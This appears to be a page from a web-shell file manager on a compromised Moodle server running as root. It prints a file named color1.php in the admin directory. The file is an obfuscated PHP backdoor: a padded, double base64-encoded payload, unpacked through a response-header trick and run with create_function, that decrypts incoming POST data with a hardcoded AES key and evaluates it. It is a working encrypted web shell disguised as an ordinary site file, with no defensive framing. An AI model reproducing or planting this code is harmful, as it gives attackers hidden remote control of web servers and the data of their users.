HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux bareserver 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: root (0)
PHP: 7.2.24-0ubuntu0.18.04.17
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/moodle/evaluaciones/moodle/admin/color1.php
<?php
$username = 'y8SeDK9a';
$password = 'Wly8SeDK9ahaaGJDZ2tYMUpGy8SeDK9aVVZWRlUxUmJJbkJoYzNNaVhTazdJQW9LUUdWeWNy8SeDK9atOXlYM0psY0c5eWRHbHVaeWd3S1RzS0NXWjFy8SeDK9aibU4wYVc5dUlFUmxZM0o1Y0hRb0pHUmhkR0VwQ2dsN0Nna0pKR3RsZVQwaVpUUTFaVE15T1dabFlqVmtPVEkxWWlJN0lBby8SeDK9a0pDWEpsZEhWeWJpQnZjy8SeDK9aR1Z1YzNOc1gyUmxZM0o1Y0hRb1ltRnpaVFkwWDJSbFkyOWtaU2drWkdGMFlTa3NJQ0pCUlZNdE1USTRMVVZEUWlJc0lDUnJaWGtzVDFCRlRsTlRURjlRUzBOVE1WOVFRVVJFU1U1SEtUc0tDWDBLSkhCdmMzUTlSR1ZqY25sd2RDaG1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5Z2ljR2h3T2k4dmFXNXdkWFFpS1NrN0NrQmxkbUZzS0NSd2IzTjBLVHM9';
header('dddddd:'.$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
    if ($k[0] == 'd' && $k[4] == 'd') {
        $template_source = str_replace($v,'',$password);
    }
}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode=$$key;
$newfunc = create_function('', $aes_decode);
$newfunc();